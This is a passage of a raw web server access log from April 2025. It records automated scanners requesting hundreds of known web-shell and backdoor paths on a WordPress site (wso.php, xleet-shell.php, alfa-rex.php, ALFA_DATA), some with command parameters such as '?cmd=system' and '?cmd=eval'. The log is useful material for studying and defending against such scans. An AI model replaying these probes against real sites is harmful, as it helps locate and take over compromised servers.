/wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:34 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:34 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:35 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:35 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:36 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:36 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:37 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:37 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:38 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:39 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:39 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:40 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:40 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:41 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:41 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:42 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:43 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:44 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:45 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:45 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:46 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:46 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:47 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:47 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:48 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:48 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:49 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:50 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:51 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:52 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:53 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:55 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:56 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:56 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:57 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:58 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:00 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:01 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:03 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:04 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:06 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:06 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:07 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:08 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:09 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:10 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:10 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:11 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:11 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:12 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:13 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:14 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:17 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:18 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:20 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:21 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:22 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:24 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:24 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:26 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:26 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:28 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:30 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:34 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:36 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:37 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:39 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:41 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:42 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:43 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:44 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:45 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:47 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:48 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:49 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:51 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:51 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:52 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:54 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:54 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:56 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:58 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:58 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:52:59 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:00 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:00 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:01 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:01 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:02 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:02 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:04 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:04 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:05 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:05 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:05 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:06 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:07 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:08 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:09 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:10 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:11 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:13 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:13 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:14 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:15 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:16 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:16 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:17 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:17 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:18 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:19 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:19 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:20 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:20 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:21 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:22 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:23 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:23 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:24 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:24 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:25 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:26 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:26 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:27 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:28 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:28 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:30 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:30 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:31 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:31 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:32 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:33 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:34 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:35 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:36 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:38 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:39 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:40 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:41 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:41 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:42 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:43 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:43 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:44 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:44 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:45 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:45 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:46 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:47 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:47 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:48 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:48 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:48 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:49 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:50 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:51 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:51 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:52 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:52 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:52 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:53 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:53 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:54 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:53:54 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 182.44.67.97 - - [19/Apr/2025:20:28:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.200.26.27 - - [19/Apr/2025:20:53:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 66.249.79.101 - - [19/Apr/2025:21:25:23 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [19/Apr/2025:21:25:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.95 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 52.169.149.126 - - [19/Apr/2025:21:26:21 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:22 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:23 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:24 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:25 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:27 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:27 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:29 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:30 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:31 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:31 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:32 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:33 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:33 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:34 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:35 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:36 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:36 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:37 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:38 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:39 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:40 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:41 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:42 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:42 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:43 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:44 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:44 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:45 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:47 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:48 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:49 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:50 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:51 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:51 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:52 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:53 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:54 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:55 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:56 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:57 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:58 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:59 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:26:59 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 